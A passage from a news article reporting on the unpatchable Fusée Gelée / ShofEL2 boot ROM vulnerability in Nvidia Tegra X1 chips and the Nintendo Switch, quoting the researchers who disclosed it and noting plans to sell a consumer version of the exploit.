On the other hand, ShofEL2 exploit released by famous fail0verflow team allows users to install Linux on Nintendo Switches.
"We already caused temporary damage to one LCD panel with bad power sequencing code. Seriously, do not complain if something goes wrong," fail0verflow team warns.
Meanwhile, another team of hardware hackers Team Xecutor is also preparing to sell an easy-to-use consumer version of the exploit, which the team claims, will "work on any Nintendo Switch console regardless of the currently installed firmware, and will be completely future proof."
Nintendo Can't Fix the Vulnerability Using Firmware Update
The vulnerability is not just limited to the Nintendo Switch and affects Nvidia's entire line of Tegra X1 processors, according to Temkin.
"Fusée Gelée was responsibly disclosed to NVIDIA earlier, and forwarded to several vendors (including Nintendo) as a courtesy," Temkin says.
Since the bootROM component comes integrated into Tegra devices to control the device boot-up routine and all happens in Read-Only memory, the vulnerability cannot be patched by Nintendo with a simple software or firmware update.
"Since this bug is in the Boot ROM, it cannot be patched without a hardware revision, meaning all Switch units in existence today are vulnerable, forever," fail0verflow says. "Nintendo can only patch Boot ROM bugs during the manufacturing process."
So, it is possible for the company to address this issue in the future using some hardware modifications, but do not expect any fix for the Switches that you already own.
| Vulnerability |
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